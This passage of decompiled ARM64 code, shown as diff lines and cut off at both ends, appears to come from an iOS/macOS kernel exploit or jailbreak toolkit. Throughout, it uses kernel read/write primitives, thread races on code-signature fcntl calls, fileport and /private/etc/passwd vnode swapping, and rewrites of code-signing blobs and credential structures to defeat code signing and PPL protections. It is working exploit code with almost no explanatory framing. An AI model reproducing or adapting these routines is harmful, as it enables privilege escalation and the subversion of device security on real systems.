__int64 *)&v216) != 1 - || (v75 = sub_2B94C(v2, name[0], (__int64 *)&v216, 0, 0LL)) == 0 ) - { - mach_port_deallocate(mach_task_self_, name[0]); - v162 = 0x28003; - v33 = v160; - goto LABEL_446; - } - v76 = v75; - *(_QWORD *)(v2 + 0x238) = v75; - mach_port_deallocate(mach_task_self_, name[0]); - v62 = v76; - v33 = v160; - LOBYTE(v52) = v154; - } - v210 = 0LL; - *(_QWORD *)&v177 = 0LL; - v175 = 0u; - v176 = 0u; - *(_OWORD *)name = 0u; - v184 = 0LL; - v183 = 0u; - v182 = 0u; - v181 = 0u; - *(_QWORD *)&v220 = 0LL; - v218 = 0u; - v219 = 0u; - v216 = 0u; - v217 = 0u; - v63 = *(_DWORD *)(v2 + 0x140); - if ( v63 != 0x1F53 && v63 != 0x1C1B ) - { - v64 = 0x2802C; - goto LABEL_254; - } - if ( *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL ) - { - v64 = 0xAD008; -LABEL_254: - v162 = v64; - goto LABEL_446; - } - v144 = v62; - v155 = v52; - v80 = sub_320EC(v2); - v162 = 0x28012; - if ( !v80 ) - goto LABEL_363; - v81 = v80; - if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - { - v81 = sub_402CC(v2, v80); - if ( !v81 ) - goto LABEL_363; - } - v82 = 1LL; - do - { - v83 = v82; - v82 *= 2LL; - } - while ( ((unsigned int)v83 & v81) == 0 ); - v84 = mach_thread_self(); - v85 = port_name_to_kaddr(v2, v84); - if ( !v85 ) - { - v119 = 0x28025; -LABEL_362: - v162 = v119; - goto LABEL_363; - } - *(_QWORD *)target_act = v85 + 0x98; - sub_2183C(v2, (v85 + 0x98) & ~*(_QWORD *)(v2 + 0x188), (__int64)__src); - if ( !v86 ) - { -LABEL_361: - v119 = 0x28026; - goto LABEL_362; - } - v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); - if ( v162 ) - goto LABEL_363; - v148 = 0LL; - v150 = 0; - *((_QWORD *)&v220 + 1) = (*(_QWORD *)(v2 + 0x188) & *(_QWORD *)target_act) + v181; - v140 = v83 - 1; - while ( 1 ) - { - v87 = **((_QWORD **)&v220 + 1); - if ( !validate_addr(v2, **((_QWORD **)&v220 + 1)) || (*(_QWORD *)(v2 + 0x188) & v87) != 0 ) - { - v162 = 0x28026; - v88 = v148; - v89 = v150; - goto LABEL_223; - } - *(_QWORD *)(*((_QWORD *)&v220 + 1) + 8LL) = v87; - *(_QWORD *)target_acta = v87; - if ( v87 != v148 ) - { - if ( *(_QWORD *)name ) - sub_38BCC(v2, (__int64)name); - sub_2183C(v2, v87, (__int64)__src); - if ( !v91 ) - goto LABEL_361; - v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)name); - if ( v162 ) - goto LABEL_363; - } - LOWORD(v216) = 0; - *(_QWORD *)&v218 = v87; - *((_QWORD *)&v216 + 1) = *(_QWORD *)name; - *(_QWORD *)&v217 = v144; - BYTE8(v218) = v155; - *(_QWORD *)&v219 = v140; - DWORD2(v219) = *(_DWORD *)(v2 + 0x240); - v92 = (void *(__cdecl *)(void *))nullsub_1(sub_323C4); - v93 = pthread_create(&v210, 0LL, v92, &v216); - if ( v93 ) - { - if ( v93 >= 0 ) - v132 = v93; - else - v132 = -v93; - v119 = v132 | 0x40000000; - goto LABEL_362; - } - while ( !(_BYTE)v216 ) - ; - v94 = fcntl(v31, 0x3B, &v213); - BYTE1(v216) = 1; - if ( (v94 & 0x80000000) == 0 ) - break; - v95 = *__error(); - v96 = *__error(); - if ( v95 >= 0 ) - v97 = v96; - else - v97 = -v96; - if ( v150 && !(v150 % 5) ) - sub_2AABC(v2, 0x3E8u); - if ( v150 <= 3 ) - { - v90 = v150 + 1; - v88 = *(_QWORD *)target_acta; - goto LABEL_224; - } - v162 = v97 | 0x40000000; - *(_DWORD *)(v2 + 0x240) = 0; - v89 = v150; - v88 = *(_QWORD *)target_acta; -LABEL_223: - v90 = v89 + 1; - if ( v90 == 0x80 ) - goto LABEL_363; -LABEL_224: - v150 = v90; - v148 = v88; - if ( v210 ) - { - pthread_join(v210, 0LL); - v210 = 0LL; - } - } - v162 = 0; - if ( HIDWORD(v219) ) - *(_DWORD *)(v2 + 0x240) = HIDWORD(v219); -LABEL_363: - if ( v210 ) - { - pthread_join(v210, 0LL); - v210 = 0LL; - } - v33 = v160; - if ( *(_QWORD *)name ) - sub_38BCC(v2, (__int64)name); - if ( (_QWORD)v181 ) - goto LABEL_445; -LABEL_446: - if ( !v158 ) - { - if ( v162 ) - goto LABEL_451; - goto LABEL_59; - } - v120 = 5; - if ( (unsigned int)sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v164, (__int64)&v171, 1LL) && !v162 ) - { -LABEL_59: - v204 = v170; - if ( !(unsigned int)sub_2E5C0(v2, v3[0x11], (__int64 *)&v204, 1u, (__int64)&v195) ) - goto LABEL_451; - if ( v166 < 0 ) - { - if ( v195 != *v3 ) - { - v39 = 0x10LL; - if ( *(_QWORD *)(v2 + 0x158) > 0x1F530F027FFFFFuLL ) - v39 = 0x20LL; - if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v39 + v196, (__int64)v3, 4LL) ) - goto LABEL_451; - } - v40 = v3[0x14]; - if ( (v201 == 0) == (v40 != 0) ) - { - v69 = v33; - v70 = *(_QWORD *)(v2 + 0x158); - v71 = 0x80LL; - if ( v70 > 0x1F530F027FFFFFLL ) - v71 = 0x88LL; - v168 = v71; - v72 = sub_2C9B0((__int64)&v195, v199, 0xFADE0C02); - if ( !v72 ) - goto LABEL_451; - if ( v40 ) - { - if ( bswap32(v72[2]) >> 9 < 0x101 ) - goto LABEL_451; - v73 = v72[0xC]; - if ( !v73 ) - goto LABEL_451; - v74 = v197 + v200 + bswap32(v73); - } - else - { - v74 = 0LL; - } - v5 = v70 > 0x1F530F027FFFFFLL; - v33 = v69; - if ( v5 || (*(_DWORD *)v2 & 0x5584001) == 0 || !v74 ) - { - sub_2A63C(v2, v196 + v168, v74); - if ( !v103 ) - goto LABEL_451; - } - } - v27 = v33 & 1; - v3 = &v195; - goto LABEL_88; - } - v27 = v33 & 1; - v3 = &v195; - v9 = v170; -LABEL_51: - v28 = (__int64)v205; - if ( (unsigned __int64)v205 > *((_QWORD *)v3 + 2) ) - goto LABEL_451; - v170 = v9; - v29 = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); - v30 = *((_QWORD *)v3 + 3); - if ( v29 ) - { - if ( !(unsigned int)ppl_kwritebuf(v2, v30, (__int64)v207, v28) ) - goto LABEL_451; - } - else if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v30, (__int64)v207, v28) ) - { - goto LABEL_451; - } -LABEL_88: - if ( v202 != v170 ) - { - if ( !(unsigned int)sub_2F898((_DWORD *)v2, v3[0x11], v202) ) - goto LABEL_451; - v202 = v170; - if ( !(unsigned int)kwritebuf_last_1(v2, v8, (__int64)&v202, 8LL) ) - goto LABEL_451; - v41 = *(_QWORD *)(v2 + 0x158); - if ( v41 < 0x1F530000000000LL || ((v27 ^ 1) & 1) != 0 ) - goto LABEL_90; - if ( !(unsigned int)sub_34D14(v2, v3[0x11]) ) - goto LABEL_451; - v45 = *(_QWORD *)(v2 + 0x158); - if ( (*(_DWORD *)v2 & 0x5584001) != 0 && v45 <= 0x1F530F027FFFFFLL ) - { - if ( !(unsigned int)sub_2F2C8() ) - goto LABEL_451; - } - else - { - v77 = 0xA8LL; - if ( v45 > 0x1F530F027FFFFFLL ) - v77 = 0xA0LL; - if ( !kread64((_DWORD *)v2, *((_QWORD *)v3 + 1) + v77, (__int64 *)&v216) ) - goto LABEL_451; - if ( *(_QWORD *)(v2 + 0x390) != (_QWORD)v216 ) - { - if ( (unsigned int)sub_38FD4(v2, v216) ) - goto LABEL_451; - sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), v216); - if ( !v78 ) - goto LABEL_451; - if ( *(int *)(v2 + 0x140) >= 0x2712 ) - { - v79 = sub_340D8((_DWORD *)v2, v3[0x11], 0LL); - if ( !v79 || !(unsigned int)sub_35ECC(v2, v79, 0x10) ) - goto LABEL_451; - } - } - } - } - v41 = *(_QWORD *)(v2 + 0x158); -LABEL_90: - if ( v41 <= 0x1F52FFFFFFFFFFLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) - goto LABEL_335; - v42 = v3[0x11]; - v43 = *((_QWORD *)v3 + 1); - *(_QWORD *)&v216 = v43; - *(_QWORD *)name = 0LL; - *(_QWORD *)&v181 = 0LL; - __src[0] = 0LL; - if ( v41 <= 0x1F530F027FFFFFLL ) - { - v44 = 0xC0LL; - } - else if ( *(int *)(v2 + 0x140) <= 0x2257 ) - { - v44 = 0xB0LL; - } - else - { - v44 = 0xB8LL; - } - if ( !kread64((_DWORD *)v2, v44 + v43, (__int64 *)&v181) ) - goto LABEL_451; - if ( !(_QWORD)v181 ) - goto LABEL_451; - if ( !validate_addr(v2, v181) ) - goto LABEL_451; - v65 = sub_349C8((_DWORD *)v2, v42); - if ( !v65 ) - goto LABEL_451; - v66 = v65; - if ( krw_ctx_has_flag((_DWORD *)v2, 0x20) ) - { - v210 = 0LL; - if ( !kread64((_DWORD *)v2, v66 + 0xB0, (__int64 *)&v210) - || !v210 - || !validate_addr(v2, (__int64)v210) - || !kread64((_DWORD *)v2, (unsigned __int64)&v210->__opaque[0x30], (__int64 *)name) ) - { - goto LABEL_451; - } - v67 = 0x20LL; - } - else - { - if ( krw_ctx_has_flag((_DWORD *)v2, 0x1180000) ) - { - v116 = 0x90LL; - } - else - { - if ( !krw_ctx_has_flag((_DWORD *)v2, 0x4001) ) - goto LABEL_451; - v116 = 0x88LL; - } - if ( !kread64((_DWORD *)v2, v116 + v66, (__int64 *)name) ) - goto LABEL_451; - v67 = 0x28LL; - } - if ( !*(_QWORD *)name - || !validate_addr(v2, *(__int64 *)name) - || !kread64((_DWORD *)v2, *(_QWORD *)name + v67, __src) - || !__src[0] - || !validate_addr(v2, __src[0]) ) - { - goto LABEL_451; - } - if ( __src[0] == (_QWORD)v181 ) - { -LABEL_335: - v120 = 0; - goto LABEL_452; - } - v211 = 0; - v206 = 0; - v203 = 0; - v209 = 0LL; - v210 = 0LL; - v194 = 0xFFFFFFFFLL; - v208 = 0LL; - if ( krw_ctx_has_flag((_DWORD *)v2, 0x20) ) - { - v124 = 0x14LL; - goto LABEL_373; - } - v133 = *(_DWORD *)(v2 + 0x140); - if ( v133 <= 0x2257 ) - { - v124 = 0xA0LL; - if ( (unsigned int)(v133 - 0x1F53) >= 2 && v133 != 0x1809 && v133 != 0x1C1B ) - goto LABEL_451; - goto LABEL_373; - } - if ( v133 == 0x2712 || v133 == 0x225C ) - { - v124 = 0x1F0LL; -LABEL_373: - if ( !(unsigned int)kreadbuf_last_1(v2, v181 + v124, 4LL, (__int64)&v194) ) - goto LABEL_451; - if ( (unsigned int)v194 > 0x400 ) - goto LABEL_451; - LODWORD(v194) = v194 + 1; - if ( !(unsigned int)ppl_kwritebuf(v2, v181 + v124, (__int64)&v194, 4) ) - goto LABEL_451; - sub_13D9C((_DWORD *)v2, *(_QWORD *)name + v67, v181); - if ( !v125 ) - goto LABEL_451; - if ( !krw_ctx_has_flag((_DWORD *)v2, 0x20) ) - { - __src[0] = v181; - v126 = sub_33E8C(v2, v42); - if ( !v126 ) - goto LABEL_451; - v127 = v126; - if ( !(unsigned int)sub_2BBA4(v2, (int *)&v211, (int *)&v206) ) - goto LABEL_451; - if ( !kread64((_DWORD *)v2, v127 + v211, (__int64 *)&v209) ) - goto LABEL_451; - if ( !v209 ) - goto LABEL_451; - if ( !(unsigned int)kreadbuf_last_1(v2, v127 + v206, 8LL, (__int64)&v210) ) - goto LABEL_451; - if ( !(unsigned int)sub_2BC80(v2, &v203, (_DWORD *)&v194 + 1) ) - goto LABEL_451; - if ( !kread64((_DWORD *)v2, v209 + (unsigned int)v203, &v208) ) - goto LABEL_451; - if ( !v208 ) - goto LABEL_451; - if ( !kread64((_DWORD *)v2, v208 + HIDWORD(v194), (__int64 *)&v216) ) - goto LABEL_451; - v128 = v216; - if ( !(_QWORD)v216 ) - goto LABEL_451; - while ( kread64((_DWORD *)v2, v128 + v44, (__int64 *)&v181) && (_QWORD)v181 && validate_addr(v2, v181) ) - { - if ( (_QWORD)v181 == __src[0] ) - { - v186 = 0; - if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) - break; - v129 = *(int *)(v2 + 0x140) <= 0x2257 ? 0x50LL : 0x190LL; - v130 = v129 + v181; - if ( !(unsigned int)kreadbuf_last_1(v2, v129 + v181, 1LL, (__int64)&v185) - || v185 > 1u - || v185 && !(unsigned int)ppl_kwritebuf(v2, v130, (__int64)&v186, 1) ) - { - break; - } - } - v131 = kread64((_DWORD *)v2, v216, (__int64 *)&v216); - v128 = v216; - if ( !v131 || !(_QWORD)v216 ) - goto LABEL_470; - } - v128 = v216; -LABEL_470: - if ( v128 ) - goto LABEL_451; - } - goto LABEL_335; - } - if ( v133 == 0x2258 ) - { - v124 = 0x1E0LL; - goto LABEL_373; - } -LABEL_451: - v120 = 5; - } -LABEL_452: - if ( v198 != 0xFFFFFFFF ) - sub_2CB54((__int64)&v195); - v139 = v193; - if ( v193 != 0xFFFFFFFF ) - { - if ( v188 && v189 && !kwrite64(v2, v188, v189) ) - v120 = 5; - close(v139); - } - if ( v207 ) - free(v207); - v123 = v120 == 0; -LABEL_463: - v12 = v123; -LABEL_466: - *(_DWORD *)(a1 + 0x10) = v12; -} -// 30824: variable 'v78' is possibly undefined -// 308F8: variable 'v86' is possibly undefined -// 309E8: variable 'v91' is possibly undefined -// 30D14: variable 'v103' is possibly undefined -// 30EC8: variable 'v107' is possibly undefined -// 31428: variable 'v125' is possibly undefined -// 316C0: variable 'v134' is possibly undefined -// 317C0: variable 'v137' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000031914) ---------------------------------------------------- -_DWORD *__fastcall sub_31914(__int64 a1, _QWORD *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6) -{ - int v10; // w8 - unsigned int *v11; // x9 - __int64 v12; // x8 - unsigned int v13; // w28 - __int64 v14; // x11 - __int64 v15; // x12 - int v16; // w13 - __int64 v18; // x10 - int v19; // w9 - __int64 v20; // x11 - bool v21; // zf - unsigned int v22; // w12 - unsigned int v23; // w8 - int v24; // w25 - _DWORD *result; // x0 - unsigned int v26; // w10 - bool v27; // cf - bool v28; // cc - int v29; // w8 - int v30; // w8 - int v31; // w10 - size_t v32; // x21 - _DWORD *v33; // x26 - unsigned int *v34; // x20 - unsigned int v35; // w8 - __int64 v36; // x21 - unsigned __int64 v37; // x22 - __int64 v38; // x8 - _DWORD *v39; // x19 - unsigned int v40; // w25 - int v41; // w9 - unsigned int *v42; // x10 - __int64 v43; // x8 - unsigned int *v44; // x1 - size_t v45; // x27 - bool v46; // zf - int v47; // w9 - size_t v48; // [xsp+8h] [xbp-78h] - _QWORD *v49; // [xsp+10h] [xbp-70h] - size_t *v50; // [xsp+18h] [xbp-68h] - - v10 = *(_DWORD *)(a1 + 0x30); - if ( v10 ) - { - if ( v10 != 1 ) - return 0LL; - v11 = *(unsigned int **)(a1 + 0x38); - v12 = *v11; - if ( (_DWORD)v12 ) - { - v13 = 0; - v14 = *((_QWORD *)v11 + 1) + 8LL; - v15 = *v11; - do - { - if ( *(_DWORD *)(v14 - 8) == *(_DWORD *)(a1 + 0x40) ) - { - v16 = *(_DWORD *)(*(_QWORD *)v14 + 0x28LL); - if ( (v16 & 0x3FFF) == 0 && v16 != 0 ) - v13 = *(_DWORD *)(*(_QWORD *)v14 + 0x28LL); - } - v14 += 0x10LL; - --v15; - } - while ( v15 ); - v18 = *((_QWORD *)v11 + 1) + 8LL; - v19 = 0xC; - v20 = v12; - do - { - v21 = *(_DWORD *)(v18 - 8) != 5 || v13 == 0; - v22 = v13; - if ( v21 ) - v22 = bswap32(*(_DWORD *)(*(_QWORD *)v18 + 4LL)); - v19 += 8 + v22; - v18 += 0x10LL; - --v20; - } - while ( v20 ); - } - else - { - v13 = 0; - v19 = 0xC; - } - v26 = *(_DWORD *)(a1 + 0x5C); - v27 = v26 >= (unsigned int)v12; - v29 = v26 - v12; - v28 = v29 != 0 && v27; - v30 = 8 * v29; - if ( v28 ) - v31 = v30; - else - v31 = 0; - v23 = v31 + v19; - v24 = v31 + 0xC; - } - else - { - v13 = 0; - v23 = bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 0x38) + 4LL)); - v24 = 0xC; - } - v32 = v23; - result = malloc(v23); - if ( result ) - { - v33 = result; - bzero(result, v32); - if ( *(_DWORD *)(a1 + 0x30) == 1 ) - { - v49 = a2; - v50 = a3; - v34 = *(unsigned int **)(a1 + 0x38); - *v33 = 0xC00CDEFA; - v35 = bswap32(*v34); - v48 = v32; - v33[1] = bswap32(v32); - v33[2] = v35; - if ( *v34 ) - { - v36 = 0LL; - v37 = 0LL; - v38 = *((_QWORD *)v34 + 1); - v39 = v33 + 4; - v40 = v24 + 8 * *v34; - while ( 1 ) - { - v41 = *(_DWORD *)(v38 + v36); - if ( v41 == *(_DWORD *)(a1 + 0x40) ) - { - *a4 = v40; - v41 = *(_DWORD *)(v38 + v36); - } - v42 = a5; - if ( v41 == 5 ) - goto LABEL_37; - if ( v41 == 7 ) - break; -LABEL_38: - v43 = v38 + v36; - v39[0xFFFFFFFF] = bswap32(*(_DWORD *)v43); - *v39 = bswap32(v40); - v44 = *(unsigned int **)(v43 + 8); - v45 = bswap32(v44[1]); - memcpy((char *)v33 + v40, v44, v45); - v38 = *((_QWORD *)v34 + 1); - if ( v13 ) - v46 = *(_DWORD *)(v38 + v36) == 5; - else - v46 = 0; - if ( v46 ) - v47 = v13; - else - v47 = v45; - v40 += v47; - ++v37; - v36 += 0x10LL; - v39 += 2; - if ( v37 >= *v34 ) - goto LABEL_45; - } - v42 = a6; -LABEL_37: - *v42 = v40; - goto LABEL_38; - } -LABEL_45: - *v49 = v33; - *v50 = v48; - return &def_3E8F0 + 1; - } - else - { - memcpy(v33, *(const void **)(a1 + 0x38), bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 0x38) + 4LL))); - *a2 = v33; - *a3 = v32; - result = &def_3E8F0 + 1; - *a4 = 0; - } - } - return result; -} -// 0: using guessed type int def_3E8F0; - -//----- (0000000000031B90) ---------------------------------------------------- -__int64 __fastcall sub_31B90(__int64 a1, __int64 a2, mach_vm_address_t *a3, _QWORD *a4, int *a5) -{ - __int64 v10; // x25 - __int64 v11; // x23 - int v12; // w8 - __int64 v13; // x26 - bool v15; // zf - __int64 v16; // x24 - int v17; // w8 - int v19; // w22 - int v21; // w0 - int v22; // w23 - unsigned __int64 v23; // x0 - mach_vm_address_t v24; // x25 - int v25; // w23 - int v27; // [xsp+8h] [xbp-68h] BYREF - int v28; // [xsp+Ch] [xbp-64h] BYREF - int v29; // [xsp+10h] [xbp-60h] BYREF - unsigned int v30; // [xsp+14h] [xbp-5Ch] BYREF - __int64 v31; // [xsp+18h] [xbp-58h] BYREF - mach_port_name_t name[2]; // [xsp+20h] [xbp-50h] BYREF - __int64 v33; // [xsp+28h] [xbp-48h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - { - v11 = 0LL; - v33 = 0LL; - name[0] = 0; - v17 = *(_DWORD *)(a1 + 0x140); - if ( v17 <= 0x1F52 ) - { - if ( v17 != 0x1809 && v17 != 0x1C1B ) - return v11; - } - else if ( (unsigned int)(v17 - 0x1F53) >= 2 && v17 != 0x2258 ) - { - return v11; - } - v21 = open("/dev/null", 0); - if ( (v21 & 0x80000000) == 0 ) - { - v22 = v21; - if ( !(unsigned int)j__fileport_makeport() ) - { - v23 = port_name_to_kaddr(a1, name[0]); - if ( v23 ) - { - v24 = v23 + 0x38; - if ( kread64((_DWORD *)a1, v23 + 0x38, &v33) && kwrite64(a1, v24, a2) ) - { - *a5 = v22; - *a3 = v24; - *a4 = v33; - mach_port_destroy(mach_task_self_, name[0]); - return 1LL; - } - } - mach_port_destroy(mach_task_self_, name[0]); - } - close(v22); - } - return 0LL; - } - v10 = 0LL; - v11 = 0LL; - *a3 = 0LL; - *a4 = 0LL; - *(_QWORD *)name = 0LL; - v33 = 0LL; - v31 = 0LL; - v29 = 0xFFFFFFFF; - v30 = 0xFFFFFFFF; - v27 = 0xFFFFFFFF; - v28 = 0xFFFFFFFF; - v12 = *(_DWORD *)(a1 + 0x140); - v13 = 0x48LL; - if ( v12 > 0x2257 ) - { - v16 = 0LL; - if ( v12 != 0x2258 ) - { - if ( v12 != 0x2712 && v12 != 0x225C ) - return v11; - v16 = 0x74LL; - v10 = 0x40LL; - v13 = 0x50LL; - } - } - else - { - v15 = (unsigned int)(v12 - 0x1F53) < 2 || v12 == 0x1809 || v12 == 0x1C1B; - v16 = 0LL; - if ( !v15 ) - return v11; - } - v19 = open("/private/etc/passwd", 0); - if ( v19 < 0 ) - { -LABEL_27: - v11 = 0LL; - if ( v19 == 0xFFFFFFFF ) - return v11; - } - else - { - while ( !(unsigned int)sub_35938((_DWORD *)a1, v19, &v33) && kread32_outptr(a1, v33 + 0x54, &v30) ) - { - if ( (v30 & 0x4000) != 0 ) - { - if ( kread64((_DWORD *)a1, v33 + 0x40, &v31) - && validate_addr(a1, v31) - && kread64((_DWORD *)a1, v31 + v13, (__int64 *)name) - && validate_addr(a1, *(__int64 *)name) - && (*(int *)(a1 + 0x140) < 0x225C - || kread32_outptr(a1, v33 + v16, &v28) - && kread32_outptr(a1, v31 + v10, &v27) - && kread32_outptr(a1, v16 + a2, &v29) - && noppl_kwrite32(a1, v31 + v10, v29) - && noppl_kwrite32(a1, v33 + v16, v29)) - && kwrite64(a1, v31 + v13, a2) ) - { - v25 = open("/private/etc/passwd", 0); - if ( kwrite64(a1, v31 + v13, *(__int64 *)name) - && (*(int *)(a1 + 0x140) < 0x225C || noppl_kwrite32(a1, v33 + v16, v28) - && noppl_kwrite32(a1, v31 + v10, v27)) - && (v25 & 0x80000000) == 0 ) - { - if ( !(unsigned int)sub_35938((_DWORD *)a1, v25, &v33) && v33 == a2 ) - { - *a5 = v25; - v11 = 1LL; - goto LABEL_65; - } - } - else if ( v25 == 0xFFFFFFFF ) - { - break; - } - close(v25); - } - break; - } - if ( !noppl_kwrite32(a1, v33 + 0x54, v30 | 0x4000) ) - break; - close(v19); - v19 = open("/private/etc/passwd", 0); - if ( v19 < 0 ) - goto LABEL_27; - } - v11 = 0LL; - } -LABEL_65: - close(v19); - return v11; -} - -//----- (0000000000031FC0) ---------------------------------------------------- -__int64 __fastcall sub_31FC0(__int64 a1, void *a2) -{ - __int64 result; // x0 - unsigned int __n; // [xsp+4h] [xbp-4Ch] BYREF - _BYTE __n_4[48]; // [xsp+8h] [xbp-48h] BYREF - - result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); - if ( result ) - { - __n = 0x30; - result = sub_2BCF0( - *(unsigned __int8 *)(result + 0x25), - (const void *)result, - bswap32(*(_DWORD *)(result + 4)), - __n_4, - &__n); - if ( (_DWORD)result ) - { - memcpy(a2, __n_4, __n); - return 1LL; - } - } - return result; -} - -//----- (0000000000032064) ---------------------------------------------------- -__int64 __fastcall sub_32064(_DWORD *a1, unsigned __int64 a2, unsigned int a3, __int64 a4, __int64 a5) -{ - __int64 result; // x0 - unsigned __int64 v10; // x8 - unsigned __int64 v11; // [xsp+8h] [xbp-28h] BYREF - - result = kread64(a1, a2, (__int64 *)&v11); - if ( (_DWORD)result ) - { - v10 = v11; - while ( 1 ) - { - result = kwritebuf_universal(a1, v10 + a3, a4, a5); - if ( !(_DWORD)result ) - break; - result = kread64(a1, v11, (__int64 *)&v11); - if ( !(_DWORD)result ) - break; - v10 = v11; - if ( !v11 ) - return 1LL; - } - } - return result; -} - -//----- (00000000000320EC) ---------------------------------------------------- -__int64 __fastcall sub_320EC(__int64 a1) -{ - _BOOL4 has_flag; // w0 - int v3; // w8 - unsigned int v4; // w10 - unsigned int v6; // w10 - unsigned int v7; // w11 - unsigned int v8; // w11 - unsigned int v9; // w10 - - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5184001); - v3 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v3 - 0x1F53) < 2 ) - { - if ( has_flag ) - v6 = 0xD8; - else - v6 = 0xD0; - if ( has_flag ) - v7 = 0xC8; - else - v7 = 0xC0; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) - return v7; - else - return v6; - } - else if ( v3 == 0x1C1B ) - { - if ( has_flag ) - v8 = 0xB0; - else - v8 = 0xA8; - if ( has_flag ) - v9 = 0xB8; - else - v9 = 0xB0; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL ) - return v9; - else - return v8; - } - else - { - if ( has_flag ) - v4 = 0xB8; - else - v4 = 0xB0; - if ( v3 == 0x1809 ) - return v4; - else - return 0LL; - } -} - -//----- (00000000000321C0) ---------------------------------------------------- -__int64 __fastcall sub_321C0(__int64 a1) -{ - int v1; // w0 - int v2; // w19 - __int64 v3; // x20 - int v4; // w19 - int v5; // w8 - int v7; // [xsp+Ch] [xbp-54h] BYREF - _QWORD v8[7]; // [xsp+10h] [xbp-50h] BYREF - - v7 = 0; - v8[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 0x180)); - v8[1] = &v7; - v8[2] = 4LL; - v1 = open("/usr/lib/dyld", 0); - if ( v1 < 0 ) - { - v4 = *__error(); - v5 = *__error(); - if ( v4 < 0 ) - v5 = -v5; - return v5 | 0x40000000u; - } - else - { - v2 = v1; - if ( fcntl(v1, 0x3B, v8) && *__error() == 0x55 ) - v3 = 0LL; - else - v3 = 0x1001LL; - close(v2); - } - return v3; -} - -//----- (00000000000322A4) ---------------------------------------------------- -__int64 __fastcall sub_322A4(__int64 a1) -{ - _DWORD *v1; // x8 - - v1 = *(_DWORD **)(a1 + 0x18); - *(_BYTE *)a1 = 1; - while ( (*v1 & 0x4000000) == 0 ) - { - if ( *(_BYTE *)(a1 + 1) ) - return 0LL; - } - *v1 &= ~0x4000000u; - __dsb(0xBu); - return 0LL; -} - -//----- (00000000000322D8) ---------------------------------------------------- -__int64 __fastcall sub_322D8(__int64 a1, int *a2) -{ - int v2; // w8 - __int64 v4; // [xsp+10h] [xbp-B0h] BYREF - __int128 v5; // [xsp+18h] [xbp-A8h] - __int64 v6; // [xsp+28h] [xbp-98h] - __int64 v7; // [xsp+30h] [xbp-90h] - __int128 v8; // [xsp+38h] [xbp-88h] - __int128 v9; // [xsp+48h] [xbp-78h] - __int128 v10; // [xsp+58h] [xbp-68h] - __int128 v11; // [xsp+68h] [xbp-58h] - __int64 v12; // [xsp+78h] [xbp-48h] - _QWORD v13[7]; // [xsp+80h] [xbp-40h] BYREF - - v2 = *a2; - v7 = 0x22000000000LL; - v12 = 0LL; - v11 = 0u; - v10 = 0u; - v9 = 0u; - v8 = 0u; - v4 = 0x70000000020CDEFALL; - v5 = 0x20200uLL; - HIBYTE(v7) = vm_page_shift; - v6 = 0LL; - v13[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 0x180)); - v13[1] = &v4; - v13[2] = 0x70LL; - if ( fcntl(v2, 0x3B, v13) && *__error() == 1 ) - __error(); - return 0LL; -} - -//----- (00000000000323C4) ---------------------------------------------------- -__int64 __fastcall sub_323C4(__int64 a1) -{ - __int64 v2; // x20 - unsigned __int64 v3; // x21 - __int64 v4; // x22 - _QWORD *v5; // x23 - thread_act_t v6; // w0 - unsigned int v7; // w10 - unsigned int v8; // w9 - unsigned int v9; // w15 - _QWORD *v10; // x16 - bool v11; // zf - unsigned __int64 v12; // x17 - bool v13; // cf - __int64 v15; // x17 - __int64 v17; // x17 - int v18; // w16 - - v2 = *(_QWORD *)(a1 + 8); - v3 = *(_QWORD *)(a1 + 0x20); - v4 = *(_QWORD *)(a1 + 0x30); - v5 = *(_QWORD **)(a1 + 0x48); - v6 = mach_thread_self(); - if ( sub_2515C(v6) ) - { - v7 = *(_DWORD *)(a1 + 0x38); - v8 = v7 + 8; - if ( !v7 ) - { - v8 = 0x3700; - v7 = 0x3300; - } - *(_BYTE *)a1 = 1; - do - { - if ( v7 < v8 ) - { - v9 = v7; - while ( 1 ) - { - v10 = (_QWORD *)(v2 + v9); - v11 = *v10 >= 0xFFFF000000000001LL && (*v10 & v4) == 0; - if ( v11 && !*((_DWORD *)v10 + 0xFFFFFFFF) ) - { - v12 = v10[0xFFFFFFFE]; - v13 = v12 < v3 || v12 >= v3 + 0x4000; - if ( !v13 && (v10[0xFFFFFFFE] & 7LL) == 0 ) - { - v15 = v10[0xFFFFFFFE] & 0x3FFFLL; - if ( !*(_DWORD *)(v2 + v15) && v10[0xFFFFFFFD] >= 0xFFFF000000000001LL && (v10[0xFFFFFFFD] & 0xFLL) == 0 ) - { - v17 = v15 + 4; - if ( (*(_DWORD *)(v2 + v17) & 0xFFFCC0F9) == 1 ) - break; - } - } - } - v9 += 8; - if ( v9 >= v8 ) - goto LABEL_29; - } - if ( v3 == *v5 ) - { - *v10 = *(_QWORD *)(a1 + 0x10); - if ( !*(_BYTE *)(a1 + 0x28) ) - { - do - { - v18 = *(_DWORD *)(v2 + v17); - if ( (v18 & 0x1000001) != 1 ) - break; - if ( (v18 & 0x4000000) != 0 ) - *(_DWORD *)(v2 + v17) = v18 & 0xFBFFFFFF; - } - while ( !*(_BYTE *)(a1 + 1) ); - } 